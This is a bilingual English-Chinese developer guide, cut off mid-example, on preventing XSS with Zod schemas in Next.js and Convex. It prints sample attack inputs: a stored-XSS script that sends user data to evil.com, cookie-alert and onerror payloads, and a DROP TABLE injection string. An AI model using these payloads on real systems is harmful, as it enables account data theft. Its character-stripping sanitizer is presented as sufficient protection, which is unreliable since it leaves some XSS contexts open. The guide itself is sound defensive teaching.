input-validation-xss-prevention

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Input Validation & XSS Prevention

输入验证与XSS防护

The Universal Truth of Web Security

Web安全的通用准则

Never trust user input. This is the foundational principle of web security.
Every major breach can be traced back to input validation failures:
  • SQL Injection - Equifax (147 million records)
  • XSS - British Airways (380,000 transactions, £20M fine)
  • Command Injection - Countless others
According to OWASP, injection vulnerabilities are consistently the #1 or #2 threat to web applications. Input validation is not optional—it's existential.
永远不要信任用户输入。 这是Web安全的基础准则。
每一次重大安全漏洞都可以追溯到输入验证失效:
  • SQL注入 - Equifax事件(1.47亿条记录泄露)
  • XSS - 英国航空事件(38万笔交易受影响,罚款2000万英镑)
  • 命令注入 - 其他数不胜数的案例
根据OWASP统计,注入漏洞始终是Web应用的头号或第二号威胁。输入验证不是可选功能,而是生存必备能力。

Understanding XSS (Cross-Site Scripting)

理解XSS(跨站脚本)

The Attack

攻击原理

Attacker enters in a bio field:
javascript
<script>
fetch('/api/user')
  .then(r=>r.json())
  .then(d=>fetch('https://evil.com',{
    method:'POST',
    body:JSON.stringify(d)
  }))
</script>
Without sanitization, when other users view this profile:
  1. The script executes in their browsers
  2. It steals their user data
  3. Sends it to attacker's server
  4. Victims never know they were compromised
攻击者在个人简介字段输入以下内容:
javascript
<script>
fetch('/api/user')
  .then(r=>r.json())
  .then(d=>fetch('https://evil.com',{
    method:'POST',
    body:JSON.stringify(d)
  }))
</script>
如果没有做清理处理,当其他用户查看该个人主页时:
  1. 脚本会在受害者的浏览器中执行
  2. 窃取受害者的用户数据
  3. 将数据发送到攻击者的服务器
  4. 受害者完全感知不到自己被攻击

Real-World XSS Consequences

真实世界的XSS攻击后果

British Airways (2018): XSS vulnerability allowed attackers to inject payment card harvesting script. 380,000 transactions compromised. £20 million fine under GDPR.
MySpace Samy Worm (2005): XSS vulnerability allowed a self-propagating script that added the attacker as a friend to over 1 million profiles in 20 hours. While mostly harmless (just adding friends), it demonstrated the potential: the same technique could have stolen credentials or payment data.
英国航空(2018年): XSS漏洞允许攻击者注入支付卡窃取脚本,38万笔交易受影响,根据GDPR被处以2000万英镑罚款
MySpace Samy蠕虫(2005年): XSS漏洞允许一个自我传播的脚本在20小时内把攻击者加为超过100万个账户的好友。虽然这次攻击基本无害(仅添加好友),但它证明了该技术的潜在危害:同样的方法可以用来窃取凭证或支付数据。

Our Input Validation Architecture

我们的输入验证架构

Why Zod?

为什么选择Zod?

Traditional validation uses regular expressions and manual checks—error-prone and often incomplete.
Zod provides:
  • Type-safe validation - TypeScript knows what's valid
  • Composable schemas - Reuse validation logic
  • Automatic transformation - Sanitization built-in
  • Clear error messages - Helps users fix mistakes
  • Runtime type checking - Catches issues in production
传统验证方式使用正则表达式和手动检查,容易出错且往往不够全面。
Zod提供以下能力:
  • 类型安全验证 - TypeScript可以识别合法数据结构
  • 可组合的schema - 可复用验证逻辑
  • 自动转换 - 内置清理能力
  • 清晰的错误信息 - 帮助用户修正输入错误
  • 运行时类型检查 - 捕获生产环境中的问题

The Sanitization Strategy

清理策略

We remove dangerous characters that enable XSS attacks:
  • <
    - Prevents opening tags
  • >
    - Prevents closing tags
  • "
    - Prevents attribute injection
  • &
    - Prevents HTML entity injection
Preserved:
  • '
    - Apostrophes (for names like O'Neal, D'Angelo, McDonald's)
Why not remove all special characters? Because then users named "O'Neal" can't enter their names. Security must balance safety with usability.
我们会移除可能触发XSS攻击的危险字符:
  • <
    - 防止打开标签
  • >
    - 防止关闭标签
  • "
    - 防止属性注入
  • &
    - 防止HTML实体注入
保留的字符:
  • '
    - 撇号(适配O'Neal、D'Angelo、McDonald's这类名称)
为什么不移除所有特殊字符? 如果这么做,名叫"O'Neal"的用户就无法输入自己的姓名。安全需要在安全性和可用性之间取得平衡。

Industry Validation Approach

行业标准验证方法

According to OWASP and NIST guidelines, the secure approach is:
  1. Validate (check format/type)
  2. Sanitize (remove dangerous content)
  3. Encode on output (escape when displaying)
We do all three:
  • Zod validates format
  • .transform()
    sanitizes
  • React escapes output
根据OWASP和NIST指南,安全的处理流程是:
  1. 验证(检查格式/类型)
  2. 清理(移除危险内容)
  3. 输出编码(展示时做转义处理)
我们三层防护都做了:
  • Zod验证格式
  • .transform()
    做内容清理
  • React自动转义输出

Implementation Files

实现文件

  • lib/validation.ts
    - 11 pre-built Zod schemas
  • lib/validateRequest.ts
    - Validation helper that formats errors
  • lib/validation.ts
    - 11个预构建的Zod schema
  • lib/validateRequest.ts
    - 格式化错误的验证工具函数

How to Use Input Validation

如何使用输入验证

Basic Pattern

基础使用模式

typescript
import { validateRequest } from '@/lib/validateRequest';
import { safeTextSchema } from '@/lib/validation';

async function handler(request: NextRequest) {
  const body = await request.json();

  // Validate and sanitize
  const validation = validateRequest(safeTextSchema, body);

  if (!validation.success) {
    return validation.response; // Returns 400 with field errors
  }

  // TypeScript knows exact shape, data is XSS-sanitized
  const sanitizedData = validation.data;

  // Safe to use
}
typescript
import { validateRequest } from '@/lib/validateRequest';
import { safeTextSchema } from '@/lib/validation';

async function handler(request: NextRequest) {
  const body = await request.json();

  // 验证并清理内容
  const validation = validateRequest(safeTextSchema, body);

  if (!validation.success) {
    return validation.response; // 返回400状态码和字段错误信息
  }

  // TypeScript可以识别确切的数据结构,且数据已经过XSS清理
  const sanitizedData = validation.data;

  // 可安全使用
}

Complete Secure API Route

完整的安全API路由示例

typescript
// app/api/create-post/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withRateLimit } from '@/lib/withRateLimit';
import { withCsrf } from '@/lib/withCsrf';
import { validateRequest } from '@/lib/validateRequest';
import { createPostSchema } from '@/lib/validation';
import { handleApiError, handleUnauthorizedError } from '@/lib/errorHandler';
import { auth } from '@clerk/nextjs/server';

async function createPostHandler(request: NextRequest) {
  try {
    // Authentication
    const { userId } = await auth();
    if (!userId) return handleUnauthorizedError();

    const body = await request.json();

    // Validation & Sanitization
    const validation = validateRequest(createPostSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { title, content, tags } = validation.data;

    // Data is now:
    // - Type-safe (TypeScript validated)
    // - Sanitized (XSS characters removed)
    // - Validated (length, format checked)

    // Safe to store in database
    await db.posts.insert({
      title,
      content,
      tags,
      userId,
      createdAt: Date.now()
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'create-post');
  }
}

export const POST = withRateLimit(withCsrf(createPostHandler));

export const config = {
  runtime: 'nodejs',
};
typescript
// app/api/create-post/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withRateLimit } from '@/lib/withRateLimit';
import { withCsrf } from '@/lib/withCsrf';
import { validateRequest } from '@/lib/validateRequest';
import { createPostSchema } from '@/lib/validation';
import { handleApiError, handleUnauthorizedError } from '@/lib/errorHandler';
import { auth } from '@clerk/nextjs/server';

async function createPostHandler(request: NextRequest) {
  try {
    // 身份验证
    const { userId } = await auth();
    if (!userId) return handleUnauthorizedError();

    const body = await request.json();

    // 验证与清理
    const validation = validateRequest(createPostSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { title, content, tags } = validation.data;

    // 现在的数据具备以下特性:
    // - 类型安全(已通过TypeScript验证)
    // - 已清理(移除了XSS危险字符)
    // - 已验证(长度、格式都经过检查)

    // 可安全存入数据库
    await db.posts.insert({
      title,
      content,
      tags,
      userId,
      createdAt: Date.now()
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'create-post');
  }
}

export const POST = withRateLimit(withCsrf(createPostHandler));

export const config = {
  runtime: 'nodejs',
};

Available Validation Schemas

可用的验证Schema

All schemas are in
lib/validation.ts
:
所有schema都存放在
lib/validation.ts
中:

1. emailSchema

1. emailSchema

Use for: Email addresses
typescript
import { emailSchema } from '@/lib/validation';

const validation = validateRequest(emailSchema, userEmail);
if (!validation.success) return validation.response;

const email = validation.data; // Normalized, lowercase
Features:
  • Valid email format required
  • Normalized to lowercase
  • Max 254 characters
  • Trims whitespace
适用场景: 邮箱地址
typescript
import { emailSchema } from '@/lib/validation';

const validation = validateRequest(emailSchema, userEmail);
if (!validation.success) return validation.response;

const email = validation.data; // 已标准化为小写
特性:
  • 要求符合邮箱格式规范
  • 自动标准化为小写
  • 最长254个字符
  • 自动修剪首尾空白

2. safeTextSchema

2. safeTextSchema

Use for: Short text fields (names, titles, subjects)
typescript
import { safeTextSchema } from '@/lib/validation';

const validation = validateRequest(safeTextSchema, inputText);
Features:
  • Min 1, max 100 characters
  • Removes:
    < > " &
  • Preserves:
    '
    (apostrophes)
  • Trims whitespace
适用场景: 短文本字段(姓名、标题、主题)
typescript
import { safeTextSchema } from '@/lib/validation';

const validation = validateRequest(safeTextSchema, inputText);
特性:
  • 长度1到100个字符
  • 移除字符:
    < > " &
  • 保留字符:
    '
    (撇号)
  • 自动修剪首尾空白

3. safeLongTextSchema

3. safeLongTextSchema

Use for: Long text (descriptions, bios, comments, messages)
typescript
import { safeLongTextSchema } from '@/lib/validation';

const validation = validateRequest(safeLongTextSchema, description);
Features:
  • Min 1, max 5000 characters
  • Same sanitization as safeTextSchema
  • Suitable for textarea content
适用场景: 长文本(描述、个人简介、评论、消息)
typescript
import { safeLongTextSchema } from '@/lib/validation';

const validation = validateRequest(safeLongTextSchema, description);
特性:
  • 长度1到5000个字符
  • 和safeTextSchema使用相同的清理规则
  • 适用于textarea内容

4. usernameSchema

4. usernameSchema

Use for: Usernames, slugs, identifiers
typescript
import { usernameSchema } from '@/lib/validation';

const validation = validateRequest(usernameSchema, username);
Features:
  • Alphanumeric + underscores + hyphens only
  • Min 3, max 30 characters
  • Lowercase only
  • No spaces or special characters
适用场景: 用户名、slug、标识符
typescript
import { usernameSchema } from '@/lib/validation';

const validation = validateRequest(usernameSchema, username);
特性:
  • 仅允许字母、数字、下划线、连字符
  • 长度3到30个字符
  • 仅允许小写
  • 不允许空格或特殊字符

5. urlSchema

5. urlSchema

Use for: Website URLs, link fields
typescript
import { urlSchema } from '@/lib/validation';

const validation = validateRequest(urlSchema, websiteUrl);
Features:
  • Must be valid URL
  • HTTPS only (security requirement)
  • Max 2048 characters
  • Validates protocol, domain
适用场景: 网站URL、链接字段
typescript
import { urlSchema } from '@/lib/validation';

const validation = validateRequest(urlSchema, websiteUrl);
特性:
  • 必须是合法URL
  • 仅允许HTTPS(安全要求)
  • 最长2048个字符
  • 验证协议、域名合法性

6. contactFormSchema

6. contactFormSchema

Use for: Complete contact forms
typescript
import { contactFormSchema } from '@/lib/validation';

const validation = validateRequest(contactFormSchema, formData);
if (!validation.success) return validation.response;

const { name, email, subject, message } = validation.data;
Fields:
typescript
{
  name: string,      // safeTextSchema (1-100 chars)
  email: string,     // emailSchema
  subject: string,   // safeTextSchema (1-100 chars)
  message: string    // safeLongTextSchema (1-5000 chars)
}
适用场景: 完整的联系表单
typescript
import { contactFormSchema } from '@/lib/validation';

const validation = validateRequest(contactFormSchema, formData);
if (!validation.success) return validation.response;

const { name, email, subject, message } = validation.data;
字段结构:
typescript
{
  name: string,      // 遵循safeTextSchema(1-100字符)
  email: string,     // 遵循emailSchema
  subject: string,   // 遵循safeTextSchema(1-100字符)
  message: string    // 遵循safeLongTextSchema(1-5000字符)
}

7. createPostSchema

7. createPostSchema

Use for: User-generated blog posts, articles
typescript
import { createPostSchema } from '@/lib/validation';

const validation = validateRequest(createPostSchema, postData);
if (!validation.success) return validation.response;

const { title, content, tags } = validation.data;
Fields:
typescript
{
  title: string,           // safeTextSchema (1-100 chars)
  content: string,         // safeLongTextSchema (1-5000 chars)
  tags: string[] | null    // Array of safeText strings (optional)
}
适用场景: 用户生成的博客文章、内容
typescript
import { createPostSchema } from '@/lib/validation';

const validation = validateRequest(createPostSchema, postData);
if (!validation.success) return validation.response;

const { title, content, tags } = validation.data;
字段结构:
typescript
{
  title: string,           // 遵循safeTextSchema(1-100字符)
  content: string,         // 遵循safeLongTextSchema(1-5000字符)
  tags: string[] | null    // 符合safeText要求的字符串数组(可选)
}

8. updateProfileSchema

8. updateProfileSchema

Use for: Profile updates
typescript
import { updateProfileSchema } from '@/lib/validation';

const validation = validateRequest(updateProfileSchema, profileData);
if (!validation.success) return validation.response;

const { displayName, bio, website } = validation.data;
Fields:
typescript
{
  displayName: string | null,  // safeTextSchema (optional)
  bio: string | null,          // safeLongTextSchema (optional)
  website: string | null       // urlSchema (optional, HTTPS only)
}
适用场景: 个人资料更新
typescript
import { updateProfileSchema } from '@/lib/validation';

const validation = validateRequest(updateProfileSchema, profileData);
if (!validation.success) return validation.response;

const { displayName, bio, website } = validation.data;
字段结构:
typescript
{
  displayName: string | null,  // 遵循safeTextSchema(可选)
  bio: string | null,          // 遵循safeLongTextSchema(可选)
  website: string | null       // 遵循urlSchema(可选,仅支持HTTPS)
}

9. idSchema

9. idSchema

Use for: Database IDs, reference fields
typescript
import { idSchema } from '@/lib/validation';

const validation = validateRequest(idSchema, itemId);
Features:
  • Non-empty string
  • Trims whitespace
  • Use for validating ID parameters
适用场景: 数据库ID、引用字段
typescript
import { idSchema } from '@/lib/validation';

const validation = validateRequest(idSchema, itemId);
特性:
  • 非空字符串
  • 自动修剪首尾空白
  • 适用于验证ID参数

10. positiveIntegerSchema

10. positiveIntegerSchema

Use for: Counts, quantities, pagination
typescript
import { positiveIntegerSchema } from '@/lib/validation';

const validation = validateRequest(positiveIntegerSchema, quantity);
Features:
  • Integer only
  • Must be positive (> 0)
  • No decimals
适用场景: 计数、数量、分页参数
typescript
import { positiveIntegerSchema } from '@/lib/validation';

const validation = validateRequest(positiveIntegerSchema, quantity);
特性:
  • 仅允许整数
  • 必须为正数(> 0)
  • 不允许小数

11. paginationSchema

11. paginationSchema

Use for: Pagination parameters
typescript
import { paginationSchema } from '@/lib/validation';

const validation = validateRequest(paginationSchema, {
  page: queryParams.page,
  limit: queryParams.limit
});

const { page, limit } = validation.data;
Fields:
typescript
{
  page: number,   // Default: 1, Min: 1
  limit: number   // Default: 10, Min: 1, Max: 100
}
适用场景: 分页参数
typescript
import { paginationSchema } from '@/lib/validation';

const validation = validateRequest(paginationSchema, {
  page: queryParams.page,
  limit: queryParams.limit
});

const { page, limit } = validation.data;
字段结构:
typescript
{
  page: number,   // 默认值: 1, 最小值: 1
  limit: number   // 默认值: 10, 最小值: 1, 最大值: 100
}

Creating Custom Schemas

创建自定义Schema

Custom Schema Template

自定义Schema模板

typescript
// lib/validation.ts

import { z } from 'zod';

// Add your custom schema
export const myCustomSchema = z.object({
  field: z.string()
    .min(1, 'Required')
    .max(200, 'Too long')
    .trim()
    .transform((val) => val.replace(/[<>"&]/g, '')), // XSS sanitization
});

export type MyCustomData = z.infer<typeof myCustomSchema>;
typescript
// lib/validation.ts

import { z } from 'zod';

// 添加你的自定义schema
export const myCustomSchema = z.object({
  field: z.string()
    .min(1, '该字段为必填项')
    .max(200, '内容过长')
    .trim()
    .transform((val) => val.replace(/[<>"&]/g, '')), // XSS清理
});

export type MyCustomData = z.infer<typeof myCustomSchema>;

Complex Schema Example

复杂Schema示例

typescript
// Registration form with multiple validations
export const registrationSchema = z.object({
  username: usernameSchema,
  email: emailSchema,
  password: z.string()
    .min(12, 'Password must be at least 12 characters')
    .regex(/[A-Z]/, 'Must contain uppercase letter')
    .regex(/[a-z]/, 'Must contain lowercase letter')
    .regex(/[0-9]/, 'Must contain number')
    .regex(/[^A-Za-z0-9]/, 'Must contain special character'),
  passwordConfirm: z.string(),
  agreeToTerms: z.boolean().refine(val => val === true, {
    message: 'You must agree to terms'
  })
}).refine((data) => data.password === data.passwordConfirm, {
  message: "Passwords don't match",
  path: ["passwordConfirm"]
});
typescript
// 包含多种验证规则的注册表单
export const registrationSchema = z.object({
  username: usernameSchema,
  email: emailSchema,
  password: z.string()
    .min(12, '密码长度至少为12个字符')
    .regex(/[A-Z]/, '必须包含大写字母')
    .regex(/[a-z]/, '必须包含小写字母')
    .regex(/[0-9]/, '必须包含数字')
    .regex(/[^A-Za-z0-9]/, '必须包含特殊字符'),
  passwordConfirm: z.string(),
  agreeToTerms: z.boolean().refine(val => val === true, {
    message: '你必须同意服务条款'
  })
}).refine((data) => data.password === data.passwordConfirm, {
  message: "两次输入的密码不一致",
  path: ["passwordConfirm"]
});

Conditional Validation

条件验证

typescript
export const orderSchema = z.object({
  orderType: z.enum(['pickup', 'delivery']),
  address: z.string().optional(),
  phone: z.string().optional()
}).refine(
  (data) => {
    if (data.orderType === 'delivery') {
      return !!data.address && !!data.phone;
    }
    return true;
  },
  {
    message: 'Address and phone required for delivery',
    path: ['address']
  }
);
typescript
export const orderSchema = z.object({
  orderType: z.enum(['pickup', 'delivery']),
  address: z.string().optional(),
  phone: z.string().optional()
}).refine(
  (data) => {
    if (data.orderType === 'delivery') {
      return !!data.address && !!data.phone;
    }
    return true;
  },
  {
    message: '配送订单必须填写地址和手机号',
    path: ['address']
  }
);

Frontend Validation

前端验证

Client-Side Pre-validation

客户端预验证

typescript
'use client';

import { useState } from 'react';
import { createPostSchema } from '@/lib/validation';

export function CreatePostForm() {
  const [errors, setErrors] = useState<Record<string, string>>({});

  async function handleSubmit(e: React.FormEvent<HTMLFormElement>) {
    e.preventDefault();
    setErrors({});

    const formData = new FormData(e.currentTarget);
    const data = {
      title: formData.get('title'),
      content: formData.get('content'),
      tags: formData.get('tags')?.toString().split(',').filter(Boolean) || null
    };

    // Client-side validation (UX improvement, not security)
    const validation = createPostSchema.safeParse(data);

    if (!validation.success) {
      const fieldErrors: Record<string, string> = {};
      validation.error.errors.forEach((err) => {
        if (err.path[0]) {
          fieldErrors[err.path[0].toString()] = err.message;
        }
      });
      setErrors(fieldErrors);
      return;
    }

    // Submit to server (server validates again!)
    try {
      const response = await fetch('/api/posts', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(validation.data)
      });

      if (response.ok) {
        alert('Post created!');
      }
    } catch (error) {
      console.error('Error:', error);
    }
  }

  return (
    <form onSubmit={handleSubmit}>
      <div>
        <input name="title" placeholder="Title" />
        {errors.title && <span className="error">{errors.title}</span>}
      </div>

      <div>
        <textarea name="content" placeholder="Content" />
        {errors.content && <span className="error">{errors.content}</span>}
      </div>

      <div>
        <input name="tags" placeholder="Tags (comma separated)" />
        {errors.tags && <span className="error">{errors.tags}</span>}
      </div>

      <button type="submit">Create Post</button>
    </form>
  );
}
Important: Client-side validation is for UX only. Always validate on the server - client-side validation can be bypassed.
typescript
'use client';

import { useState } from 'react';
import { createPostSchema } from '@/lib/validation';

export function CreatePostForm() {
  const [errors, setErrors] = useState<Record<string, string>>({});

  async function handleSubmit(e: React.FormEvent<HTMLFormElement>) {
    e.preventDefault();
    setErrors({});

    const formData = new FormData(e.currentTarget);
    const data = {
      title: formData.get('title'),
      content: formData.get('content'),
      tags: formData.get('tags')?.toString().split(',').filter(Boolean) || null
    };

    // 客户端验证(仅用于提升UX,不具备安全作用)
    const validation = createPostSchema.safeParse(data);

    if (!validation.success) {
      const fieldErrors: Record<string, string> = {};
      validation.error.errors.forEach((err) => {
        if (err.path[0]) {
          fieldErrors[err.path[0].toString()] = err.message;
        }
      });
      setErrors(fieldErrors);
      return;
    }

    // 提交到服务端(服务端会再次验证!)
    try {
      const response = await fetch('/api/posts', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(validation.data)
      });

      if (response.ok) {
        alert('帖子创建成功!');
      }
    } catch (error) {
      console.error('错误:', error);
    }
  }

  return (
    <form onSubmit={handleSubmit}>
      <div>
        <input name="title" placeholder="标题" />
        {errors.title && <span className="error">{errors.title}</span>}
      </div>

      <div>
        <textarea name="content" placeholder="内容" />
        {errors.content && <span className="error">{errors.content}</span>}
      </div>

      <div>
        <input name="tags" placeholder="标签(用逗号分隔)" />
        {errors.tags && <span className="error">{errors.tags}</span>}
      </div>

      <button type="submit">创建帖子</button>
    </form>
  );
}
重要提示: 客户端验证仅用于优化用户体验。必须在服务端再次验证 - 客户端验证可以被绕过。

Attack Scenarios & Protection

攻击场景与防护方案

Attack 1: XSS via Comment

攻击1:通过评论注入XSS

Attack:
javascript
POST /api/comment
{
  "content": "<script>alert(document.cookie)</script>"
}
Protection:
typescript
const validation = validateRequest(safeLongTextSchema, body);
// Result: content = "alert(document.cookie)"
// < and > removed, script harmless
攻击行为:
javascript
POST /api/comment
{
  "content": "<script>alert(document.cookie)</script>"
}
防护方案:
typescript
const validation = validateRequest(safeLongTextSchema, body);
// 处理结果: content = "alert(document.cookie)"
// < 和 > 被移除,脚本失去危害

Attack 2: SQL Injection Attempt

攻击2:SQL注入尝试

Attack:
javascript
POST /api/search
{
  "query": "'; DROP TABLE users; --"
}
Protection:
typescript
const validation = validateRequest(safeTextSchema, body);
// Result: query = "'; DROP TABLE users; --"
// Still contains SQL, but parameterized queries prevent execution
// Additionally, input length limited, special chars sanitized
Note: Use parameterized queries in database layer for full SQL injection protection.
攻击行为:
javascript
POST /api/search
{
  "query": "'; DROP TABLE users; --"
}
防护方案:
typescript
const validation = validateRequest(safeTextSchema, body);
// 处理结果: query = "'; DROP TABLE users; --"
// 仍然包含SQL语句,但参数化查询会阻止其执行
// 另外还做了输入长度限制、特殊字符清理
注意: 需要在数据库层使用参数化查询才能实现完整的SQL注入防护。

Attack 3: Buffer Overflow via Long Input

攻击3:通过超长输入实现缓冲区溢出

Attack:
javascript
POST /api/profile
{
  "bio": "A".repeat(1000000) // 1 million characters
}
Protection:
typescript
const validation = validateRequest(updateProfileSchema, body);
// Result: Validation fails
// Error: "Bio must be at most 5000 characters"
// HTTP 400 returned before processing
攻击行为:
javascript
POST /api/profile
{
  "bio": "A".repeat(1000000) // 100万个字符
}
防护方案:
typescript
const validation = validateRequest(updateProfileSchema, body);
// 处理结果: 验证失败
// 错误信息: "个人简介最多只能包含5000个字符"
// 处理前就返回HTTP 400错误

Attack 4: Script Injection in Multiple Fields

攻击4:多字段脚本注入

Attack:
javascript
POST /api/contact
{
  "name": "<script>evil()</script>",
  "email": "attacker@evil.com",
  "subject": "<img src=x onerror=alert(1)>",
  "message": "Normal message"
}
Protection:
typescript
const validation = validateRequest(contactFormSchema, body);
// Results:
// name: "evil()"
// email: "attacker@evil.com"
// subject: ""
// message: "Normal message"
// All dangerous tags removed automatically
攻击行为:
javascript
POST /api/contact
{
  "name": "<script>evil()</script>",
  "email": "attacker@evil.com",
  "subject": "<img src=x onerror=alert(1)>",
  "message": "普通消息"
}
防护方案:
typescript
const validation = validateRequest(contactFormSchema, body);
// 处理结果:
// name: "evil()"
// email: "attacker@evil.com"
// subject: ""
// message: "普通消息"
// 所有危险标签都会被自动移除

Testing Input Validation

测试输入验证

Test XSS Sanitization

测试XSS清理效果

bash
undefined
bash
undefined

Test XSS in title

测试标题字段的XSS防护

curl -X POST http://localhost:3000/api/example-protected
-H "Content-Type: application/json"
-H "X-CSRF-Token: <get-from-/api/csrf>"
-d '{"title": "<script>alert(1)</script>"}'
curl -X POST http://localhost:3000/api/example-protected
-H "Content-Type: application/json"
-H "X-CSRF-Token: <从/api/csrf获取>"
-d '{"title": "<script>alert(1)</script>"}'

Expected: 200 OK, but title = "alert(1)"

预期结果: 200 OK, 但title = "alert(1)"

undefined
undefined

Test Validation Errors

测试验证错误

bash
undefined
bash
undefined

Test too-long input

测试超长输入

curl -X POST http://localhost:3000/api/example-protected
-H "Content-Type: application/json"
-H "X-CSRF-Token: <get-from-/api/csrf>"
-d "{"title": "$(printf 'A%.0s' {1..200})"}"
curl -X POST http://localhost:3000/api/example-protected
-H "Content-Type: application/json"
-H "X-CSRF-Token: <从/api/csrf获取>"
-d "{"title": "$(printf 'A%.0s' {1..200})"}"

Expected: 400 Bad Request

预期结果: 400 Bad Request

{

{

"error": "Validation failed",

"error": "Validation failed",

"details": {

"details": {

"title": "String must contain at most 100 character(s)"

"title": "String must contain at most 100 character(s)"

}

}

}

}

undefined
undefined

Test Email Validation

测试邮箱验证

bash
undefined
bash
undefined

Test invalid email

测试非法邮箱

curl -X POST http://localhost:3000/api/contact
-H "Content-Type: application/json"
-d '{ "name": "Test", "email": "not-an-email", "subject": "Test", "message": "Test" }'
curl -X POST http://localhost:3000/api/contact
-H "Content-Type: application/json"
-d '{ "name": "测试", "email": "not-an-email", "subject": "测试", "message": "测试" }'

Expected: 400 Bad Request

预期结果: 400 Bad Request

{ "error": "Validation failed", "details": { "email": "Invalid email" } }

{ "error": "Validation failed", "details": { "email": "Invalid email" } }

undefined
undefined

Error Response Format

错误响应格式

When validation fails,
validateRequest()
returns:
typescript
{
  error: "Validation failed",
  details: {
    fieldName: "Error message",
    anotherField: "Another error"
  }
}
HTTP Status: 400 Bad Request
当验证失败时,
validateRequest()
会返回:
typescript
{
  error: "Validation failed",
  details: {
    fieldName: "Error message",
    anotherField: "Another error"
  }
}
HTTP状态码: 400 Bad Request

Common Validation Patterns

常见验证模式

Pattern 1: Optional Fields

模式1:可选字段

typescript
const schema = z.object({
  required: safeTextSchema,
  optional: safeTextSchema.optional(),
  nullable: safeTextSchema.nullable(),
  optionalWithDefault: safeTextSchema.default('default value')
});
typescript
const schema = z.object({
  required: safeTextSchema,
  optional: safeTextSchema.optional(),
  nullable: safeTextSchema.nullable(),
  optionalWithDefault: safeTextSchema.default('默认值')
});

Pattern 2: Array Validation

模式2:数组验证

typescript
const schema = z.object({
  tags: z.array(safeTextSchema).max(10, 'Maximum 10 tags'),
  categories: z.array(z.string()).min(1, 'At least one category required')
});
typescript
const schema = z.object({
  tags: z.array(safeTextSchema).max(10, '最多只能添加10个标签'),
  categories: z.array(z.string()).min(1, '至少要选择一个分类')
});

Pattern 3: Enum Values

模式3:枚举值

typescript
const schema = z.object({
  status: z.enum(['draft', 'published', 'archived']),
  priority: z.enum(['low', 'medium', 'high'])
});
typescript
const schema = z.object({
  status: z.enum(['draft', 'published', 'archived']),
  priority: z.enum(['low', 'medium', 'high'])
});

Pattern 4: Number Ranges

模式4:数字范围

typescript
const schema = z.object({
  age: z.number().int().min(18).max(120),
  rating: z.number().min(1).max(5),
  price: z.number().positive()
});
typescript
const schema = z.object({
  age: z.number().int().min(18).max(120),
  rating: z.number().min(1).max(5),
  price: z.number().positive()
});

Pattern 5: Date Validation

模式5:日期验证

typescript
const schema = z.object({
  birthdate: z.string().datetime(),
  appointmentDate: z.string().datetime()
    .refine((date) => new Date(date) > new Date(), {
      message: 'Appointment must be in the future'
    })
});
typescript
const schema = z.object({
  birthdate: z.string().datetime(),
  appointmentDate: z.string().datetime()
    .refine((date) => new Date(date) > new Date(), {
      message: '预约时间必须晚于当前时间'
    })
});

Convex Integration

Convex集成

When using Convex, always validate inputs in mutations - never insert
args
directly into the database.
使用Convex时,必须在mutation中验证输入 - 永远不要直接把
args
插入数据库。

Basic Convex Validation Pattern

基础Convex验证模式

typescript
// convex/posts.ts
import { mutation } from "./_generated/server";
import { createPostSchema } from "../lib/validation";

export const createPost = mutation({
  handler: async (ctx, args) => {
    // Validate with Zod
    const validation = createPostSchema.safeParse(args);

    if (!validation.success) {
      throw new Error("Invalid input: " + validation.error.message);
    }

    // Use sanitized data
    const { title, content, tags } = validation.data;

    await ctx.db.insert("posts", {
      title,
      content,
      tags,
      userId: ctx.auth.userId,
      createdAt: Date.now()
    });
  }
});
typescript
// convex/posts.ts
import { mutation } from "./_generated/server";
import { createPostSchema } from "../lib/validation";

export const createPost = mutation({
  handler: async (ctx, args) => {
    // 使用Zod验证
    const validation = createPostSchema.safeParse(args);

    if (!validation.success) {
      throw new Error("输入不合法: " + validation.error.message);
    }

    // 使用清理后的数据
    const { title, content, tags } = validation.data;

    await ctx.db.insert("posts", {
      title,
      content,
      tags,
      userId: ctx.auth.userId,
      createdAt: Date.now()
    });
  }
});

Multiple Field Validation in Convex

Convex多字段验证

typescript
// convex/items.ts
import { mutation } from "./_generated/server";
import { safeTextSchema, safeLongTextSchema } from "../lib/validation";

export const createItem = mutation({
  handler: async (ctx, args) => {
    // Validate each field with appropriate schema
    const titleValidation = safeTextSchema.safeParse(args.title);
    const descValidation = safeLongTextSchema.safeParse(args.description);

    if (!titleValidation.success || !descValidation.success) {
      throw new Error("Invalid input");
    }

    // Use sanitized data
    await ctx.db.insert("items", {
      title: titleValidation.data,
      description: descValidation.data,
      userId: ctx.auth.userId,  // From Clerk authentication
      createdAt: Date.now()
    });
  }
});
typescript
// convex/items.ts
import { mutation } from "./_generated/server";
import { safeTextSchema, safeLongTextSchema } from "../lib/validation";

export const createItem = mutation({
  handler: async (ctx, args) => {
    // 每个字段使用对应的schema验证
    const titleValidation = safeTextSchema.safeParse(args.title);
    const descValidation = safeLongTextSchema.safeParse(args.description);

    if (!titleValidation.success || !descValidation.success) {
      throw new Error("输入不合法");
    }

    // 使用清理后的数据
    await ctx.db.insert("items", {
      title: titleValidation.data,
      description: descValidation.data,
      userId: ctx.auth.userId,  // 来自Clerk身份验证
      createdAt: Date.now()
    });
  }
});

Anti-Pattern: Direct Args Insertion (NEVER DO THIS)

反模式:直接插入参数(绝对不要这么做)

typescript
// ❌ BAD - Direct insertion without validation
export const createItem = mutation({
  handler: async (ctx, args) => {
    // VULNERABLE: args inserted directly without validation
    await ctx.db.insert("items", args);
  }
});

// ✅ GOOD - Validated and sanitized
export const createItem = mutation({
  handler: async (ctx, args) => {
    const validation = createItemSchema.safeParse(args);
    if (!validation.success) {
      throw new Error("Invalid input");
    }

    await ctx.db.insert("items", {
      title: validation.data.title,
      description: validation.data.description,
      userId: ctx.auth.userId,
      createdAt: Date.now()
    });
  }
});
typescript
// ❌ 错误 - 未验证直接插入
export const createItem = mutation({
  handler: async (ctx, args) => {
    // 存在漏洞:参数未经验证直接插入
    await ctx.db.insert("items", args);
  }
});

// ✅ 正确 - 经过验证和清理
export const createItem = mutation({
  handler: async (ctx, args) => {
